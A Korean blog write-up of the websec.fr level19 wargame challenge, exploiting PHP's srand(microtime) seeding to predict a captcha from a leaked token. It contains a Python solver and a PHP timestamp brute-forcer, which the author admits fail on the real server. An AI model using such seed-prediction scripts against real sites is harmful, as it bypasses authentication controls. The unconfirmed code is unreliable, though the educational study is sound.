write-ups/websec.fr

websec.fr level19 write-up

2020. 3. 16. 00:32

Nagoya, Japan

 

 Captcha가 있길래 이 문제를 풀기 위해서 머신러닝으로 저기에 있는 글자를 알아와야하나 생각이 들어서 지금까지 굳이 풀려고 하지 않으려고 했지만, 오늘 이 문제 소스를 보니까 꽤 쉬운 것 같아서 write-up을 작성해보려고 한다. 참고로 아직 풀진 못했다. 로컬에서는 분명히 풀리는데 서버에서는 안풀리는 문제다.

the source of random.php

 random.php의 소스이다. 여기서 microtime(true)로 seed를 설정하는데 여기서 취약점이 발생한다. srand() 함수를 통해 같은 값을 설정할 경우 rand() 의 값이 똑같아진다. 다음 코드를 예를 들어보면 이해하기 쉽다.

 

#!/usr/bin/env php
<?php

function generate_random_text ($length) {
    $chars  = "abcdefghijklmnopqrstuvwxyz";
    $chars .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $chars .= "1234567890";

    $text = '';
    for($i = 0; $i < $length; $i++) {
        $text .= $chars[rand () % strlen ($chars)];
    }
    return $text;
}

/* Routine 1. */
srand(1);
echo "# Routine 1.\n";
$rand = generate_random_text(26);
echo "[*] generate_random_text(26) : {$rand}\n";
$rand2 = generate_random_text(32);
echo "[*] generate_random_text(32) : {$rand2}\n";

echo "==================\n";

srand(1);
echo "# Routine 2.\n";
$rand = generate_random_text(26);
echo "[+] Sleep ... \n";
sleep(1);
$rand2 = generate_random_text(32);
echo "[*] generate_random_text(26) : {$rand}\n";
echo "[*] generate_random_text(32) : {$rand2}\n";

 srand()의 특성을 이해하기 전에는 rand()가 실제로 무작위의 값을 가져올 것이라고 추측했지만, Routine 1과 Routine 2의 결과값은 같다. 

 

 위의 문제에서는 token과 captcha를 rand() 함수로 설정한다. 그리고 rand() 함수로 설정한 token이 html input 태그의 hidden value로 불려져 있으니 srand( $guessd_timestamp ) 를 이용하면 서버의 timestamp를 알 수 있게 되고 역으로 captcha code까지 구할 수 있게 된다. 

 

#!/usr/bin/env python3
# coding: utf-8

import subprocess
import requests as req
from bs4 import BeautifulSoup


def parse_token(text):
    soup = BeautifulSoup(text, 'lxml')
    token = soup.find('input', {'id': 'token'}).get('value')
    print('[*] parsed token :', token)
    return token


def get_timestamp_from_token(token):
    captcha = (subprocess.run(['php', 'guess_timestamp.php', token], stdout=subprocess.PIPE).stdout.decode('utf-8'))
    print('[*] captcha :', captcha)
    return captcha


def first_request():
    """
    srand(microtime(true));
    1. Set Captcha (26 bytes)
    2. Set token (32 bytes)
    """
    # url = 'http://ch4n3.me:8080/websec.fr/level19/index.php'
    url = 'http://websec.fr/level19/index.php'
    r = req.get(url)
    headers = {
        'Cookie': r.headers['Set-Cookie'],
    }
    token = parse_token(r.text)
    return headers, token


def auth(headers, token, captcha):
    # url = 'http://ch4n3.me:8080/websec.fr/level19/index.php'
    url = 'http://websec.fr/level19/index.php'
    data = {'captcha': captcha, 'token': token}
    r = req.post(url, headers=headers, data=data)
    print('\n'* 3)
    print(r.text)



def main():
    headers, token = first_request()
    captcha = get_timestamp_from_token(token)
    auth(headers, token, captcha)




if __name__ == '__main__':
    main()

 

<?php

// guess_timestamp.php

include __DIR__ . '/random.php';

$token = $argv[1];
$timestamp = microtime(true);

$day = 60 * 60 * 24;
// sec * min * hour = 1 day

for ($i = $day * -1; $i < $day; $i++) {
    $guessed_timestamp = $timestamp + $i;
    srand($guessed_timestamp);
    $guessed_token = generate_random_text(32);
    $guessed_captcha = generate_random_text(26);
    if ($guessed_token == $token) {
        echo "{$guessed_captcha}";
        break;
    }
}

 

 ch4n3.me:8080 에 websec.fr 과 같은 코드로 구축을 해서 풀리는 것을 확인했는데, websec.fr에다 하면 안된다.. 이건 왜 그런지 모르겠다. 야!!!!! FLAG 내놔!!!!

'write-ups > websec.fr' 카테고리의 다른 글

websec.fr level13 write-up  (0) 2020.03.15
websec.fr level11 write up  (0) 2018.07.10
websec.fr level09 write up  (0) 2018.07.10
websec.fr level22 write up  (0) 2018.07.04
websec.fr level24 write up  (0) 2018.07.04